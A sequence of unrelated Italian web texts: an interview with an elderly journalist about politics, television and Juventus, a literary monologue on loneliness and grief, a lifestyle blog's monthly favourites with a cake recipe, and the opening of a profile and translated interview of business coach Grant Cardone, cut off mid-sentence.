Lo spirito è dir poco. Mio padre abitava a ottanta metri dalla casa dei Campana che era importante, sul fiume e a metà strada c’era la tipografia che avrebbe dovuto stampare le mille copie dei Canti orfici, ma Campana non credo ne abbia pagate più di cinquecento. Mi chiamò uno studioso del poeta secondo il quale da una carta del Comune di Marradi sembrava che Campana avesse dettato i suoi Canti orfici a un certo Mughini che però faceva errori di battitura e lui s’incazzava. Papà nel 1914 avrebbe avuto quindici anni. È pensabile che fosse stato lui quel dattilografo? Sì, possibile, ma a casa sua non c’era l’edizione originale che invece ho comprato tanti anni dopo.
E la politica. Hai detto più volte che non voti da anni, forse da decenni… Però tutti sanno che sei stato tra i fondatori del Manifesto e direttore responsabile di Lotta Continua e che te ne sei andato dopo poco. Allergia da redazione o ci fu dell’altro?
Politica?! Oh Dio mio, mi sto sentendo male. Chiamami un medico (ride). No, solo qualche volta non ho votato, recentemente pensando proprio a Renzi ho votato PD. In quanto a LC, non avevo rapporti particolari, mettevo la mia firma per far uscire il giornale in edicola come fecero anche Pasolini e Pannella. Nelle redazioni ho lavorato per trent’anni a tempo pieno a Paese Sera e divenni giornalista professionista, all’Europeo, a Panorama che all’epoca vendeva 600mila copie per diciotto anni, non proprio poco. Però è vero, non mi sono mai sentito un uomo di redazione. Giornalista è una qualifica che non sento, ho tratto il mio reddito dai giornali e di questo li ringrazio ma non più che questo, non ho il senso della notizia di giornata e non mi interessa.
Considerandoti tu un uomo del Novecento sono tentato di usare due categorie che oggi non esistono più: sinistra e destra. Ma fino a pochi anni fa c’erano eccome. E tu, che hai certamente una matrice culturale da progressista e radicale, sei stato tra i pochi a consumare un’eresia: scrivere per “Libero”, il quotidiano diretto da Vittorio Feltri. Altro che “compagni addio…”.
E ho fatto benissimo, intanto non è che ci fosse il Washington Post a cercarmi, ero rimasto senza lavoro nei giornali, mi ero dimesso da Panorama, Vittorio - che conoscevo da una vita - mi telefonò dicendomi che avrei potuto scrivere quel che volevo, in totale libertà e pagato benissimo. Oggi non sarebbe pensabile.
Ti racconto l’ultima: mi ha chiamato il vicedirettore di un giornale, “avremmo piacere di una sua collaborazione”, avendo un precedente con la stessa testata gli comunico che il mio cachet era di 1.000 euro a pezzo. Non si è mai più fatto vivo, capisco che oggi quella cifra non la darebbero neppure a Borges, però almeno fatti vivo, dì che non interessa o ne te lo puoi permettere, tra uomini si fa così. Da 1.000 a 200 euro proprio no: se io non posso pagare cinque volte in meno quello che compro, perché allora il mio lavoro deve valere cinque volte meno? La produzione intellettuale non ha più valore… Mi chiamano a una trasmissione tv, “noi abbiamo previsto un cachet”, no guardi della cifra ne discute con me, perché uno non vale uno. Questa è una cosa di ferro… uno non vale uno.
Dagli anni ’80 si sviluppa e cresce il tuo rapporto con la tv. Anzi, si può dire che è stata la televisione a offrire inedita popolarità agli intellettuali “non organici” come te, Roberto D’Agostino e Vittorio Sgarbi, spesso parlando d’altro, di calcio, costume e politica. Un’onda lunga durata molto ma che oggi pare in via d’esaurimento perché la tv generalista sta scomparendo ed è assai meno influente sulla vita sociale rispetto all’affermazione di Mediaset. Oggi rispetto a ieri, che rapporto hai con la tv?
A certi livelli essere intellettuale è solo d’impaccio… Una volta ho citato Togliatti, gelo nello studio, la metà del pubblico non sapeva chi fosse e forse neppure il conduttore. Vanno bene le influencer che se non aprono bocca meglio è. In ogni caso dal lavoro in tv ho imparato rapidità, prontezza, sintesi. Se protrai un ragionamento oltre quaranta secondi il pubblico ti lascia e questa è una bella scuola, il batti e ribatti, il ping pong mi piace. Certo, la mia anima raramente è coinvolta ma ringrazio il cielo, senza la tv non avrei pagato bollette e tasse. Vado dove mi vogliono, sono come gli idraulici, quando mi chiamano vado a sturare i lavandini.
Altra nota biografica. Il documentario “Nero e bello” del 1980 dove indagavi l’ambiente della destra neofascista. Mi pare fosse stato Pino Rauti a parlare della teoria degli opposti estremismi, per chi viene dalla sinistra insomma non è poi così innaturale.
È uno dei lavori di cui vado più orgoglioso. L’espressione opposti estremismi sta in piedi, negli anni ‘70 si sono misurati due opposti fanatismi con morti innocenti da una parte e dall’altra. Poi non c’è discussione, fascismo e comunismo sono le due grandi tragedie del Novecento, nate l’una dall’altra, la rivoluzione d’ottobre del 1917 ha innescato la reazione che ha generato nazismo e fascismo. Poi che tutti i nostri amici fossero di sinistra e non di destra non cambia molto.
Anche se a ben vedere qualcuno dei migliori, come Stenio Solinas, stava con Rauti e Paolo Isotta, un’intelligenza elettrica, veniva da destra. Divisioni che oggi non hanno nessun senso, viviamo un presente di cui nessuno sa nulla, nessuno sa come verranno pagate le pensioni in Italia tra dieci anni, tanto per dire una cosa banale. Tornando a “Nero è Bello”, orgoglioso perché su Rai2 in prima serata nel 1980 era la prima volta che qualcuno da sinistra parlava dei ragazzi della destra come se avessero due narici e non tre.
Da nero è bello a bianconero è bello. Ai farisei non riusciremo mai a far capire che tifare Juventus è una grazia dal cielo che ci ha evitato periodi della vita tristi e infelici, ma sempre carichi di successi con gli occhi colmi di bellezza.
A dieci anni vivevo a Catania e tra i pochi giocattoli avevo le figurine dei calciatori. Due mi piacquero enormemente, Giampiero Boniperti perché si chiamava come me, ed Ermes Muccinelli, l’ala destra, piccolo e nervoso com’ero in quegli anni, e allora ho preso la decisione di tifare Juve ed è stata la più importante della mia vita per due ragioni, perché mi ha dato grandi gioie e molto reddito, la Juventus ha mercato molto più che l’Atalanta, per dire di un’ottima squadra. Sì, una grazia dal cielo.
Una volta mi dicesti che Michel Platini fosse stato il più forte di tutti i tempi, la sintesi cartesiana dell’esprit de finesse e dell’esprit de geometrie. È ancora lui, oppure CR7…
Se tu in questo momento sulla bilancia mi offri Platini, cinque anni alla Juve e tre volte capocannoniere, e il Cristiano Ronaldo di oggi, prendo Platini perché lui era giocatore per la squadra mentre Cristiano di sé stesso, formidabile nella giocata individuale, la penetrazione, il tiro. Platini riceveva il pallone spalle alla porta e lanciava Boniek a 40 metri.
Dopo nove scudetti di fila, quest’anno dovremmo accontentarci. Pazienza. Meno pazienza, da 25 anni, un quarto di secolo, non vinciamo niente in Europa. Perché proprio non ce la facciamo, oltre confine?
Perché gli altri sono più forti. La Champions l’abbiamo vinta un paio di volte, una caterva di finali perse, alcune per sfortuna. Ora ci fermiamo agli ottavi. Il calcio italiano questo è, non possiamo far finta che non sia così. Se vai a vedere la Juve che innervava nel '78 la Nazionale: c’erano Zoff, Gentile, Cabrini, Scirea, Tardelli, Causio, Bettega e Paolo Rossi che giocava ancora nel Vicenza e juventino lo diventerà nel 1982. C’è bisogno ripeta questi nomi a lungo… dai..
Per quanto… Chiellini, Bonucci…
Due. E poi nel calcio il caso gioca un ruolo notevole. Nel tennis non è così, sì ci può essere una palla che schizza sulla linea, ma una.
Ho letto che ti piace Jannik Sinner.
Un gran bel giocatore ma non mi trafigge l’anima. Un giocatore di forza, violenza, continuità agonistica, ma se mi metti sulla bilancia di prima Nicola Pietrangeli, non ci può essere gara. Detto questo iddio ce l’ha dato guai a chi ce lo tocca, purché si sappia che è tedesco, non parla quasi l’italiano e scrive su twitter in inglese.
Che pensi di Andrea Pirlo allenatore? Pensi ritornerà Max Allegri?
Lo lascerei lavorare tranquillo, Andrea è intelligente, può solo migliorare e poi non si cambia allenatore ogni stagione. I miei amici dicono che dovremmo andare in ginocchio da Max Allegri e io non ho nulla contro questo punto di vista.
È uscito da poco il Nuovo dizionario sentimentale, quasi trent’anni dopo il primo pubblicato nel 1992. Perché riscriverlo? Cosa c’è di nuovo?
Il titolo era azzeccato già allora perché voleva sottolineare che le cose decisive nella vita sono i sentimenti, non le ideologie, amicizia, lealtà, amore, fedeltà alla parola data. Qui ci trovi la Parigi delle librerie tanto amate, Israele che si batte per diventare una nazione, il ricordo di mia madre, i miei adorati cani.
I ritratti di Marco Pannella e Clint Eastwood. Ultimi eroi di un tempo che non c’è quasi più?
Il politico più rilevante e l’uomo che mi commuove solo a vederlo, che non ha bisogno di aggiungere nulla perché c’è in lui tutto ciò che apprezzo della vita, il coraggio, l’affrontare viso aperto gli avversari, non mentire. Altro che Mao Tze Tung.
E per (quasi) finire. Ti trovo un uomo elegantissimo. La scelta di abiti e accessori mi risulta una vera e propria ricerca di cui vorrei conoscere principi, passioni e idiosincrasie.
Amo la scuola giapponese, a cominciare da Yoshi Yamamoto, che ha rotto certe convenzioni dalla giacca diversa da come la portano i politici italiani, morbida, ti sta addosso, non ti impaccia, che dice qualcosa ma non più del necessario, non posso pensare che i politici siano tutti vestiti allo stesso modo. Basterebbe questo per dire cos’�� la politica. Ciascuno deve raccontare una storia e loro no, indossano una divisa.
Tu, Giampiero, nel vestire e negli accessori, racconti tante storie, a cominciare dal colore.
Spero, ma non tutti sono intelligenti come te e lo capiscono. Il colore è nella storia della cultura italiana, pensa a Memphis, a Ettore Sottssass.
Ti sei sposato lo scorso 11 settembre con Michela Pandolfi. State insieme da una vita. Non ti chiedo le ragioni di una scelta così “meditata”…
Dopo trent’anni, passiamo tutta la giornata insieme, quando io schiatterò lei dovrà pagare un fottio di tasse. Però matrimonio è un termine che mi sta… pesante.
Il 16 aprile come festeggerai il tuo ottantesimo compleanno?
In nessun modo. Massimo due amici a cena. Non vado mai in luoghi dove ci siano più di sei persone, eccezion fatta per il salotto di Roberto D’Agostino. Dago è un fratello, le regole con lui non valgono, ma è l’unico caso.
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IO
Rimandi di immagini impossibili da decifrare, e non lo specchio come riflessione di immagine, ma gli altri in un piccolo minuscolo paesino implacabilmente drammatico. Scorre il sangue delle mie ferite, in me o fuori di me oppure in me e fuori di me al contempo. E nella metropoli o in casa tra i legami di sangue - da sempre, dalla mia nascita. Non riesco a decifrare gli eventi tranne quando entro in chiesa, pochi passi da casa mia in solitudine. Se dovessi parlare di etica o morale mia non saprei districare i fili involuti nei rimandi di immagini tra me e gli altri. Ed eventi indecifrabili e giganteschi. Fuori dentro. Senza cadere nell’impiccio di parole vuote, sapendo che dire fuori o dire dentro significa non dire niente, come definirli, impossibile, quesito mai risolto da chicchessia, filosofi o scrittori. Enunciati non facili, inspiegabili se non come magma impossibile nell’uno o nella diade o nel tutto. Equivale a dire niente, che non è il nulla, ontologicamente distinto, basta leggere Oriana Fallaci Lettera a un bambino mai nato, o Heidegger Perché l’essere e non il nulla? Leggere è trovare spiegazioni, dipanare l’imbroglio, renderlo vivo, in movimento.
Da La gaia scienza di Nietzsche –la vita… più misteriosa-Da quel giorno in cui inaspettato venne a me il grande liberatore, quel pensiero cioè che la vita potrebbe essere un esperimento di chi è volto alla conoscenza- e lo dico a chi sostiene che la mia vita non ha avuto frutti e che ho solo la risposta, tutto è risposta,
Ho vissuto il dolore di mia madre, intrecciato al mio, lei vissuta in solitudine, tranne per il lavoro che le dava una realtà umana intorno, era bravissima un’insegnante realmente colta, e molti le volevano bene ma al ritorno dal lavoro era sempre sola in una città ottusa e ineloquente.
Non sono mai stata una donna amata, mi scopavano ma non mi amavano e io restavo stupita, in attesa di un amore, ma mio padre era morto suicida per un fallimento, ucciso dall’orgoglio dell’imprenditore, e io ero l’espressione del dolore e del sempre no, non riuscivo a sorridere o ridere di qualcosa almeno, non mi amava nessuno e io non amavo nessuno.
Io mi sono fermata a misterium iniquitatis
Ho intrapreso un cammino di fede per il dolore che il lutto mi ha dato.
Per fortuna sono anziana vedo armonia dentro di me spessa sana serena.
Tracce a ritroso dell’esistenza naufraga nel mare dell’angoscia, dietro fogli stracciati dalla rabbia delle solitudini senza speranza, speranza del ritorno da qualunque parte venga, dentro di me o fuori di me. Non fa notizia una povera vecchia bisunta come me se mutilata, gli altri sono belli io sono una cagna randagia. Nei momenti poco lucidi dell’esistenza mia che so di amare, sebbene con pochi talenti, ricordo morbosamente il dolore, lutti laceranti che premono sul mio cuore imbambolato mai accogliente.
Eppure sono serena tra due piumoni, la cagnolina accanto a me piccolissima sprofondata tra le coltri calde, e rido di noi due randagie e sole, prossima al manto di preghiere d’accoglienza della chiesa vicina, che accoglie anche la mia cagnolina, lei non conosce il male, io ho avuto una madre che sempre, da quando ho pronunciato le mie prime parole mi diceva –tu hai l’animo nero. Vado in cucina e preparo spaghetti per Scilla, la mia cagnolina, per me, e per mia madre. La solitudine ha il cuore forte, sursum corda. Domattina mi alzerò felice di essere ancora su questa terra dopo un tumore devastante, serena comunque per il ritorno che c’è dell’attenzione alla lettura che amo, da sempre, è il mio luogo segreto, anche se non sono stata una brava insegnante, non riuscivo a comunicare con sapienza, una grigia insegnante piuttosto insipida.
Le corde dell’anima tornano con violini zigani e resistenza dissolta nel bene che serve sempre, o almeno a me serve. Io lo trovo nella solitudine e nel cuore di una cagnolina magnifica, e nelle letture esaltanti di splendore.
I tesori sono l’anima dissolta nel bianco polito di una cesta di lenzuola lavate alla fonte, oppure nel ricordo del lavandare, e del sangue rappreso steso al sole, macchia di orrore, orrore del maleficio della mia anima nera. Dunque non serve cambiare ma solo ricordare, nella mia vecchiaia, il trascorso, e vivere una vecchiaia serena e pacata, dedicando tempo a musica libri cinema e spaghetti, i soldi sono pochi ma gli spaghetti costano poco e se aggiungi un posto a tavola o più d’uno basta versarne di più nel pentolone d’acqua bollente e mangiamo tutti come insegnava Totò, spaghetti aglio oglio peperoncino. Non ho mai amato il sesso ho il senso riposto altrove, con il senso le mie membra sembravano lanugine insieme ai cuscini piegati, e biancore sfatto. Sono insipida, pane sciapo dicono tutti. Io sono felice sola, non voglio altri intorno a me solo la mia cagnolina.
E torno a pensare misterium iniquitatis, che è un’enciclica papale e il titolo di un testo di Sergio Quinzio, un teologo che ci ha lasciato memorie splendide interiori, ma sola nel giogo senza speranza di chi ha intenzione di uccidermi e ucciderà, quando è nelle intenzioni uccidere è ovvio che accade, diventa evento necessitato ad essere per volontà altrui. Ma loro giocano senza amore e comunque mi è indifferente. So che le parche recidono il filo e serena affronto ciò che resta senza preoccuparmi, anche io come tutti sono una creatura appesa a un filo, le cure le ho seguite non potevo fare di più. Non temo la morte e dopo un tumore e nonostante gli interventi e le cure non si poteva scavalcare il destino di morte, le parche recidono il filo.
Ma sei tu ad aver ostacolato il mio cammino, desideravi che diventassi foglia caduta portata dal vento e offrivi rose e ciclamini a chi, avvezzo alle tue scorrerie, esaltava i tuoi misteri, mentre scoperchiavi i miei, umile fuscello anima sottile, tu bocca di fuoco e cenere negli occhi, io nera come la pece per i tuoi stupidi insulti, ti ho sfinito e ne esco esiliata, ma nessuno vince semplicemente solo il tuo odio ti stupisce, e la tua mostruosità ora non ti garba più.
La musica della mia superna imbecillità risuona nella notte sospesa, oscurato tra terra e cielo è il firmamento nel carro assassino. azzimato nel Tempo, e te dunque se puoi abbandona la dioturna scure e placati ora, siedi accanto a me, dimentica del mio futuro, aspra cuspide. Ma Sisifo lo sa, non mente, sorride è giunta l'ora, non temere è stretta nel mio ventre la fine, riposa ora, la via lattea mi attende, tra le spine sono io l'errore di natura non te. Io li amavo i tuoi gesti educati e i tuoi gentili sorrisi, poi il faro a mezzanotte, ma un giorno, memore del senso, acutizzato il dolore, ho strappato i miei capelli, furiosa contro il vento, dannato ricordo. So ora il senso, i tuoi labirinti nelle profondità marine, eri una parvenza e nulla più.
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I preferiti del mese #5: Maggio
Maggio è sempre stato il mio mese preferito vuoi per quella predisposizione tipicamente umana per cui amiamo follemente il mese del nostro compleanno, vuoi perché tradizionalmente è il mese della primavera più bella, vuoi perché le giornate sono sempre più lunghe, la luce si scalda, l’atmosfera inizia a vestirsi d’estate. Maggio è quel mese in cui mi è sempre sembrato tutto possibile, anche quando effettivamente non lo era. Viverlo in quarantena è stato estremamente demotivante. Non solo i giorni mi si sono consumati tra le mani senza lasciarmi neanche il tempo di dirmi “ah sta per arrivare il mio compleanno” che era già passato, ma anche perché ancora una volta questo 2020 si sta rivelando assolutamente assolutamente sconvolgente e pericoloso.
Di quello che è successo in America con le proteste che stanno diventando sempre più accese e con l’ampliarsi del movimento del Black Lives Matter, ho provato a parlarvi in questo post completamente inadeguato ma che mi sono sentita di pubblicare. Ma di tragedie in giro per il mondo ce ne sono parecchie: in Iran da giorni sono in atto delle proteste per la morte di Romina Ashrafi, una ragazzina decapitata nel sonno lo scorso 21 maggio. La ragazza era scappata con un uomo ed era dunque “colpevole” di aver disonorato la famiglia. Ad Hong Kong continuano le proteste ma la Cina ha fatto una proposta di legge per aumentare il potere del governo cinese in materia di sicurezza nazionale. In tutto questo pare ci sia un nuovo focolaio di Ebola nella Repubblica Democratica del Congo, giusto per non farci mancare niente.
Nel mio piccolo io lavoro ancora da remoto, almeno fino a settembre dicono, e smanio per poter affacciarmi di nuovo nel mondo. Sto iniziando a mettere il naso fuori di casa nonostante le mie preoccupazioni, e sto iniziando ad organizzare viaggi fuori dai confini del Piemonte. Vorrei andare a casa dei miei. Vorrei vedere i miei amici. Ce la faremo, lentamente, ma ce la faremo.
Comunque, per cambiare le carte in tavola e dare una rinfrescata a questo blog, da inizio anno ho deciso di portare qui su questo spazio di web una delle rubriche che più mi piace guardare su Youtube e che sostanzialmente dimostra che non mi so inventare niente, ma che amo inglobare nel mio modo di essere espressioni, modi e idee che mi colpiscono l’immaginario. “I preferiti del mese” è un format che forse non si presta molto alla parola scritta ma ci proviamo, che tanto se non funziona lo facciamo funzionare a modo nostro.
Enjoy!
MUSICA
Ah vorrei tanto dire che a maggio non ho ascoltato BTS, ma mentirei, però ho deciso di non rendere questo spazio monotematico su Kim Seok-Jin, o rendere la mia vita monotematica su Jin se per questo, visto che molto del count delle visualizzazioni su Youtube e stream su Spotify è dato dal mio ascolto compulsivo, ma credo che me ne devo fare una ragione. Comunque prima di passare oltre vorrei fare una menzione speciale per Answer: Love Myself con cui posso riassumere il giorno del mio compleanno (grazie amiche, siete il mio RJ).
Ormai nel mondo del kpop ci sono dentro con tutte le scarpe, ma non mi sono mai fermata a delle etichette. In genere se una canzone mi piace, mi piace a prescindere e finisce diretta nella mia playlist senza farmi troppe domande. La riscoperta del mese riguarda quindi gli Stray Kids altro gruppo koreano di cui non so ancora benissimo riconoscere i membri ma di cui ascolto in loop Hellevator. Grande entrata nella mia playlist anche di Zombie dei Day6. Tra una ripetizione di Ridere dei Pinguini Tattici Nucleari e un’altra, non mi sono fatta mancare neanche Never not di Lauv.
LIBRI
Forse sono uscita dal blocco del lettore ma non voglio dirlo a voce troppo alta. Ho provato a parlarne in questo post in cui effettivamente cerco di darmi delle motivazioni e riassumo un po’ la mia quarantena. E ne sono uscita leggendo Il respiro del tempo di Alessia Litta di cui vi ho parlato in anteprima qui sul blog. Il vero libro di maggio però resta Gli umani di Matt Haig uno sci-fi che illumina davvero su cosa significa essere un umano. È una storia bellissima, che tocca il cuore, di cui spero di parlarvi presto. Se so ancora come si fa.
FILM & SERIE TV
Con il Team Drama Club abbiamo finito di vedere Itaewon Class con lo spettacolare Park Seo Joon e un cast meraviglioso compreso quello che per me sarà per sempre Piccolo Jin (la SOMIGLIANZA tra Kim Dong-hee e Kim SeokJin, Jin dei BTS è allucinante), e di cui mi sono completamente innamorata.
(piccolo Jin è il secondo da destra)
Le vicende ruotano tutte intorno al protagonista che si ritrova a covare desideri di vendetta contro il presidente della Jangga, azienda leader nel settore food, grazie ad una speciale salsa inventata, a quanto pare, proprio dal presidente. Il ragazzo ha un passato complicato e subisce ben più di una battuta d’arresto (viene espulso da scuola, arrestato per aggressione) ma progetta e porta avanti un piano per raggiungere il suo obiettivo finale. In questa impresa che inizia con l'apertura di pub a Itaewon, il DanBam, il protagonista maschile non è solo ma è accompagnato dai suoi fidati collaboratori, che tra una disavventura e un successo, un sabotaggio e una scoperta, arriveranno lì dove nessuno avrebbe mai immaginato o anche solo sognato di arrivare. Tra scene comiche e altre struggenti, una soundtrack meravigliosa, mascherine di maiale sugli occhi e le certezze di Joonie che oscillano inevitabilmente tra la corsa e il cibo, il drama vola via, anche se affronta temi complessi sia di un quartierie cosmopolita come può essere Itaewon, sia della cultura coreana, sia della vita di cinque giovani che devono mettercela tutta per emergere. Lo trovate su Netflix e ve lo consiglio tantissimo.
BEAUTY
Ho iniziato a usare la maschera peel off per punti neri di Sephora che se la cercate è la prima che viene fuori, che avevo abbandonato nel cassetto del make up e mai utilizzato. Quando aprite il tubo e iniziate a spalmarvi il prodotto sulla faccia vi sembra di respirare catrame ma devo dire che fa il suo lavoro. La pelle resta liscia e poi strappare via il peel off dalla faccia da molta soddisfazione.
CIBO
Durante la quarantena per consolarmi dalle mie nottate solitarie o quando la spesa giungeva agli sgoccioli ma potevo ancora sopravvivere con quello che avevo in casa, ma avevo finito i biscotti ho perfezionato questa ricetta di una torta alle pere e cacao che può essere anche adattata alle mele e può essere adattata anche senza cacao se non vi piace. È una quantità sufficiente per farci un paio di colazioni abbondanti e uno spuntino. È scalabile, quindi basta raddoppiare le dosi per farne di più (ho testato anche il raddoppio). Le dosi sono in cucchiai perché io non ho una bilancia, quindi o faccio ad occhio o rapporto tutto in cucchiai. 1 cucchiaio in genere sono circa 15 grammi di farina o 10 grammi di zucchero. Più o meno.
Ingredienti:
1 uovo
3 cucchiai pieni di farina (se non volete il cacao usate 6 cucchiai)
3 cucchiai rasi di zucchero
2 cucchiai di olio di semi
2/3 cucchiai di cacao
2 cucchiai di rhum (e un po’ buttato a occhio)
Mezza bustina di lievito
1 pera (o una mela messa in un po’ di succo di limone, si sta bene con il rhum)
Procedimento:
Montate l’uovo con lo zucchero, quando si è sciolto bene aggiungete farina, cacao e lievito e mescolate. Poi incorporate l’olio e il rhum. Mischiate tutto bene e infine aggiungete la pera tagliata a pezzetti. Più è matura la pera più viene buona la torta. Mettete in una tortiera e infornate per un 25 minuti a 180°. Controllate ogni tanto, fate la prova dello stuzzicadenti (o uno spaghetto), se viene fuori asciutto è pronta. Fate raffreddare.
Se la fate fatemi sapere come viene. Di solito quando faccio la pizza faccio anche questa. Ci vuole pochissimo a farla.
RANDOM
Su Spotify trovate la versione ebook di Stamped from the Beginning – The Definitive History of Racist Ideas in America di IBRAM X. KENDI (in inglese, sorry). Questo libro ha vinto il National Book Award for Nonfiction nel 2016 e racconta di come si è sviluppato il razzismo.
Una delle mie amiche del gruppo delle Merendine in viaggio, ha aperto un blog Lisa e il Giappone dove racconta la cultura del paese in cui si trova in questo momento e lo fa con il suo garbo e la sua ironia e io semplicemente la adoro.
I miei adorati Space Valley hanno inaugurato un podcast, Il Nocciolo, un delirio come possono esserlo solo loro, e hanno annunciato nel mio immenso lutto, l’uscita di Dario dal gruppo. Non rilascerò commenti a riguardo. Quindi questo è quello che si prova quando il tuo gruppo preferito fa disbanding, e se ne va proprio il tuo preferito.
Che avete combinato questo mese?
Raccontatemelo in un commento.
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Grant Cardone: la sua storia e i suoi consigli per arrivare al successo (intervista esclusiva)
Chi è Grant Cardone?
Il nome di Grant Cardone è uno dei più conosciuti nel mondo della formazione USA in ambito business. Grant oggi vive in Florida con la moglie e i figli, amministra un patrimonio immobiliare stimato in oltre 1 miliardo di dollari e gira il mondo sul suo jet privato per andare in ogni angolo del globo a tenere i suoi speech formativi sulla vendita e il successo. I suoi eventi dal vivo registrano sempre il tutto esaurito ed è stato capace di riempire un intero stadio. Quanti personaggi sarebbero capaci di tali numeri, al di fuori del mondo dello spettacolo? Investitore, formatore, autore best seller e imprenditore, Grant è una persona di successo in tutto quello che fa. Cardone è riuscito a sviluppare il giusto mindset imprenditoriale che l'ha portato a diventare multimilionario partendo da zero. Migliaia di imprenditori divorano i suoi libri e partecipano ai suoi eventi per impadronirsi del metodo che gli ha permesso di essere un vero leader e raggiungere il successo. Ma la vita di Grant Cardone non è stata tutta rose e fiori, anzi. La sua storia è stata segnata da difficoltà estreme e da gravi problemi, che hanno plasmato il suo carattere e condizionato il suo destino.
La vita di Grant Cardone
La sua persona è un esempio vivente di come ogni uomo possa sempre lottare per il successo, a prescindere dalle condizioni di partenza o dalle circostanze esterne. Nel suo libro, Be Obsessed Or Be Average, Grant accompagna il lettore attraverso gli episodi più significativi della sua infanzia e adolescenza, quelli che lo hanno fatto diventare l’uomo che è oggi. La madre di Grant era una donna perennemente preoccupata per la situazione economica della famiglia. Raccoglieva continuamente coupon e tagliandi promozionali per risparmiare sulle piccole spese ed era ossessionata dalla paura di non farcela ad arrivare alla fine del mese. Era un tipico esempio di quella che Grant definisce “mentalità da classe media”. All’età di 10 anni, Grant perse il padre per un infarto improvviso. Questa perdita lasciò in lui un grande vuoto, oltre ad obbligare la sua famiglia a rinunciare allo stile di vita che conducevano in precedenza.
Venuto a mancare il sostegno economico del padre, la famiglia di Grant viveva in condizioni di incertezza, nel timore di perdere tutto. Il pensiero costante della famiglia non era guadagnare, ma risparmiare. Non c’è da stupirsi che, in simili condizioni, Grant fosse ben lontano dal sentirsi grato per quello che aveva, perché aveva sotto gli occhi lo stress e le preoccupazioni quotidiane di sua madre. Il padre di Grant gli aveva trasmesso una cultura fondata su valori come lavorare sodo, puntare al successo e mettere la famiglia prima di tutto. Ma con la sua scomparsa, Grant perse la figura a cui fare riferimento negli anni critici dell’adolescenza, quando avrebbe avuto più bisogno della sua guida e del suo esempio. Grant divenne un ragazzo irrequieto e cominciò ad avere problemi con l’autorità e con le droghe. Grant, ragazzo ribelle Nel libro ammette di aver fumato erba e di aver fatto uso di cocaina e di altre droghe, mettendo a rischio la sua salute e la sua stessa vita. Negli anni del college, trascorreva le giornate passando da una festa all'altra. All’età di 20 anni perse il fratello gemello. Questo lutto lo fece precipitare in uno stato di depressione, che si sommava alla frustrazione per la vita squallida che conduceva. Si iscrisse all’università per studiare contabilità e ottenne il diploma a 22 anni, ma non esercitò mai quella professione. Trovò un lavoro come venditore di automobili e per anni si dedicò a questa attività, anche se detestava quel lavoro. Ma i problemi di droga non erano scomparsi, anzi sembravano peggiorare. Il suo fisico debole e denutrito denunciava l’abuso di droghe e alcool. Appena sveglio, il suo primo pensiero era quello di farsi una dose. Frequentava compagnie poco raccomandabili. Un giorno subì un pestaggio così brutale da finire in ospedale in fin di vita. Quando la madre venne a trovarlo, fece fatica a riconoscerlo da quanto era malconcio. Grant capì che la sua tossicodipendenza era la fonte di tutti i suoi guai e lo avrebbe portato alla rovina. Mentre era ancora ricoverato in ospedale, promise a se stesso di darci un taglio con le droghe, ma non ci riuscì. Mentre era ancora in ospedale, si ritrovò nuovamente in cerca di una dose. Grant si rese conto che da solo non ne sarebbe mai uscito: aveva bisogno di aiuto. Aveva 25 anni quando entrò volontariamente in una clinica di riabilitazione.
Verso il cambiamento Il primo passo di Grant verso il cambiamento fu proprio ammettere di avere un problema di dipendenza. Decidere di andare in terapia significava prendersi cura prima di tutto della sua salute mentale. Dopo 30 giorni di ricovero, Grant si ristabilì e fu in grado di lasciare la struttura. Il giorno in cui se ne andò, uno degli operatori del centro lo ammonì con queste parole: “Tu sei un tossico e lo rimarrai per sempre. Ti rivedremo presto qui, sempre se non muori prima. Lascia perdere l’idea di scrivere di libri e di avere successo e concentrati su una cosa sola: stare lontano dalle droghe”. La reazione di Grant, una volta uscito dalla clinica, fu di dedicarsi anima e corpo al lavoro. Se doveva vendere macchine, allora voleva essere il migliore nel suo campo, anche se era un lavoro che odiava. Si impegnava al massimo e dedicava al lavoro ogni minuto della sua giornata, perché sapeva che l’unico modo per non cadere in tentazione con le droghe era non avere mai del tempo libero. Come dice Grant: “se vuoi incontrare il diavolo, ti basta avere degli spazi vuoti nella tua giornata”. Il suo sogno era sempre stato dedicarsi agli investimenti immobiliari, un’attività che aveva cominciato ad appassionarlo quando, ancora bambino, accompagnava suo padre a visitare gli immobili che aveva l’incarico di vendere. Per questo motivo, metteva da parte ogni centesimo che guadagnava con le vendite di automobili.
La forza dell'impegno Il suo impegno lo portò ad essere tra i migliori venditori del suo campo, e in breve tempo cominciò a tenere corsi e seminari sulle tecniche di vendita. Basandosi sulla sua esperienza personale, perfezionò un metodo di vendita con cui ha formato generazioni di venditori di successo in alcune delle più grandi aziende del listino Fortune 500. Nel frattempo, era riuscito a mettere da parte una somma sufficiente per cominciare ad investire in immobili. Si dedicò con impegno a questa attività, aumentando il valore degli investimenti man mano che otteneva successo. L’impegno continuo e il duro lavoro gli permisero di scalare la vetta e di arrivare al successo che aveva tanto desiderato. Alla faccia di chi non credeva in lui e gli aveva predetto un futuro da tossico. A 25 anni era un tossico e alcolizzato, incapace di tenersi un lavoro. Solo 5 anni dopo essersi ripulito, lo stesso uomo è diventato un milionario che viaggia su un jet privato, guida auto di lusso e possiede case da favola. La storia di Grant è un esempio di come a volte sia necessario toccare il fondo per rialzarsi e riprendere in mano la propria vita. Ecco perché ho voluto riportarti in questo articolo una bellissima intervista, fatta a Grant da un giornalista americano. Era talmente bella che ho voluto tradurla e condividerla con te, per quello su cui mi fa riflettere. Grant è uno dei miei mentori, seguo sempre tutto ciò che fa. Per me è l’esempio di una persona che ha realizzato i propri sogni, combattendo per avere ciò che voleva. Un mito.
INTERVISTA
Che cosa significa per te essere un imprenditore di successo? Un imprenditore è una persona che gestisce una o più attività e che si fa carico di rischi finanziari superiori al normale. La ragione di questo rischio non è soltanto la prospettiva di un ricavo superiore al normale, ma qualcosa di più grande come raggiungere la libertà finanziaria, costruire un’eredità per le generazioni successive, lasciare un segno tangibile o rendere il mondo un posto migliore. Sono questi obiettivi elevati che muovono un vero imprenditore. Se potessi incontrare tre personaggi del passato per chiedere loro dei consigli, chi vorresti incontrare e che cosa gli chiederesti? Sono molti i personaggi che mi vengono in mente, ma tra tutti sceglierei uomini come Alessandro Magno o Gengis Khan, che hanno creato i più grandi imperi della storia. Da loro vorrei sapere come hanno fatto a espandere i loro domini fino ai confini del mondo. Qual era il loro obiettivo, fino a che punto si sono spinti e quali sono state le sfide più difficili da affrontare? Poi ci sono i grandi magnati dell’economia come John D. Rockfeller, un uomo che è partito allevando tacchini e coltivando patate ed è arrivato a possedere un’azienda che controlla il 90% delle vendite di carburante negli USA. Ha raggiunto una ricchezza senza pari, 